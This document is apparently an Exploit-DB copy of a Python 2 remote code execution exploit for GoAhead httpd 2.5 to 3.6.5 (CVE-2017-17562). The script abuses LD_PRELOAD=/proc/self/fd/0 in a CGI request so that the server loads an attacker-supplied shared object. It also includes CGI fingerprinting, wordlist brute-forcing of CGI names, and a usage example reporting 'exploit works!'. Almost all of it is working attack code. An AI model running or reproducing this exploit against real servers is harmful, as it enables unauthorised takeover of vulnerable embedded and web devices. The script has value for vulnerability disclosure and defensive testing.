#!/usr/bin/python
# GoAhead httpd/2.5 to 3.6.5 LD_PRELOAD remote code execution exploit
# EDB Note: Payloads ~ https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43360.zip
# EDB Note: Source ~ https://www.elttam.com.au/blog/goahead/
# EDB Note: Source ~ https://github.com/elttam/advisories/blob/c778394dfe454083ebdfb52f660fd3414ee8adb8/CVE-2017-17562/
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#+++++++++++++++++++++++++++++++++++:--/++++++++++++++++++++++++++++++++++++
#+++++++++++++++++++++++++++++++/:-......-:/++++++++++++++++++++++++++++++++
#++++++++++++++++++++++/////::-..............-:://///+++++++++++++++++++++++
#++++++++++++++++++++++..............-:..............+++++++++++++++++++++++
#++++++++++++++++++++++..........-://+++/:-..........+++++++++++++++++++++++
#++++++++++++++++++++++......://++++++++++++//::.....+++++++++++++++++++++++
#++++++++++++++++++++++......++++++++++++++++++/.....+++++++++++++++++++++++
#++++++++++++++++++++++......:/+++++++++++++++/-.....+++++++++++++++++++++++
#++++++++++++++++++++++.........--::////:::--........+++++++++++++++++++++++
#++++++++++++++++++++++-...........................:/+++++++++++++++++++++++
#++++++++++++++++++++++:.....-................--:/++++++++++++++++++++++++++
#+++++++++++++++++++++++-....-+///::::::::///+++++++++++++++++++++++++++++++
#+++++++++++++++++++++++/.....-/++++++++++++++++/::+++++++++++++++++++++++++
#++++++++++++++++++++++++/-.....-/++++++++/:--...-/+++++++++++++++++++++++++
#++++++++++++++++++++++++++:.......:/++/:.......:+++++++++++++++++++++++++++
#+++++++++++++++++++++++++++/-................-/++++++++++++++++++++++++++++
#+++++++++++++++++++++++++++++/:-..........-:/++++++++++++++++++++++++++++++
#++++++++++++++++++++++++++++++++/:--..--:/+++++++++++++++++++++++++++++++++
#++++++++++++++++++++++++++++++++++++++++++++++++(c) 2017 elttam Pty Ltd.+++
# ~/goahead_exploit>>> ./makemyday.py -h
# usage: makemyday.py [-h] [--server SERVER] [--port PORT] [--maxconn {1-256}]
# [--verbose]
# {fingerprint,stage,exploit,findcgi} ...
#
# GoAhead httpd remote LD_PRELOAD exploit.
#
# positional arguments:
# {fingerprint,stage,exploit,findcgi}
# fingerprint fingerprint if GoAhead server uses CGI
# stage send a staging payload and wait indefinitely
# exploit run exploit
# findcgi brute force cgi script names
#
# optional arguments:
# -h, --help show this help message and exit
# --server SERVER target ip or hostname, default is localhost
# --port PORT target port, default is 80
# --maxconn {1-256} max concurrent requests, default is 1
# --verbose, -v increase verbosity level
#
# See https://www.elttam.com.au for more information.
# >>>./makemyday.py --server 192.168.1.24 --port 80 exploit --payload ./payloads/X86_64-hw.so
# exploit works!
import argparse
import httplib
import sys
import threading
from string import Template
class GoAheadExploit(object):
'''GoAheadExploit'''
qid = None
payload = None
exploited = False
def __init__(self):
'''Configure arguments and run the exploit'''
parser = argparse.ArgumentParser(
description="GoAhead httpd remote LD_PRELOAD exploit.",
epilog="See https://www.elttam.com.au for more information."
)
parser.add_argument('--server', default="localhost",
help='target ip or hostname, default is localhost')
parser.add_argument('--port', type=int, default=80,
help='target port, defaults is 80')
parser.add_argument('--maxconn', type=int, default=1, choices=xrange(1, 256),
metavar="{1-256}", help='max concurrent requests, default is 1')
parser.add_argument('--verbose', '-v', default=0, action='count',
help='increase verbosity level')
common_options = argparse.ArgumentParser(add_help=False)
common_options.add_argument('--cginame', default="cgitest",
help='target cgi script')
common_options.add_argument('--payload', nargs='?',
type=argparse.FileType('r'), default=sys.stdin,
help='shared object file to execute (defaults to stdin)')
cmd_subparsers = parser.add_subparsers(dest="action")
cmd_subparsers.add_parser(
'fingerprint', help='fingerprint if GoAhead server uses CGI')
cmd_subparsers.add_parser('stage', parents=[common_options],
help='send a staging payload and wait indefinitely')
cmd_subparsers.add_parser('exploit', parents=[common_options],
help='run exploit')
findcgi = cmd_subparsers.add_parser(
'findcgi', help='brute force cgi script names')
findcgi.add_argument('--wordlist', nargs='?',
type=argparse.FileType('r'), default=sys.stdin,
help='list of cgi filenames to brute force (defaults to stdin)')
# parse command line and call into action
self.args = parser.parse_args()
getattr(self, self.args.action)()
def fingerprint(self):
'''fingerprint'''
conn = httplib.HTTPConnection(self.args.server, self.args.port)
conn.connect()
conn.request(
"GET", "/cgi-bin/c8fed00eb2e87f1cee8e90ebbe870c190ac3848c")
if conn.getresponse().read().find("CGI process file does not exist") != -1:
print "CGI scripting is enabled"
else:
print "CGI scripting is disabled"
conn.close()
def findcgi(self):
'''findcgi'''
for cginame in self.args.wordlist.readlines():
cginame = cginame[:-1]
conn = httplib.HTTPConnection(self.args.server, self.args.port)
conn.connect()
conn.request("GET", "/cgi-bin/" + cginame)
resp = conn.getresponse()
if resp.status == 200:
print "/cgi-bin/" + cginame + " exists."
conn.close()
def stage(self):
'''stage'''
payload = self.args.payload.read()
headers = {"Host": self.args.server,
"User-Agent": "curl/7.51.0",
"Accept": "*/*",
"Content-Length": str(len(payload) + 1)}
conn = httplib.HTTPConnection(self.args.server, self.args.port)
conn.connect()
conn.request("POST", "/cgi-bin/" + self.args.cginame, payload, headers)
try:
conn.getresponse()
except httplib.BadStatusLine:
pass
conn.close()
def exploit(self):
'''exploit'''
for _ in range(0, self.args.maxconn):
tid = threading.Thread(self.do_exploit(verify,))
tid.start()
def do_exploit(self, verify_callback):
'''do_exploit'''
if not self.payload:
self.payload = self.args.payload.read()
contentlen = len(self.payload)
headers = {"Host": self.args.server,
"User-Agent": "curl/7.51.0",
"Accept": "*/*",
"Content-Length": str(contentlen)}
exploit_string = Template("/cgi-bin/${cginame}?LD_PRELOAD="
"/proc/self/fd/0").substitute({
"cginame": self.args.cginame
})
while not self.exploited:
conn = httplib.HTTPConnection(self.args.server, self.args.port, timeout=10)
conn.connect()
conn.request("POST", exploit_string, self.payload, headers)
try:
if verify_callback(conn.getresponse()):
self.exploited = True
print "exploit works!"
except httplib.BadStatusLine:
pass
conn.close()
# put your payload callback/verification code here
def verify(res):
'''validation callback'''
if res.getheader("hello"):
return True
return False
if __name__ == '__main__':
GoAheadExploit()
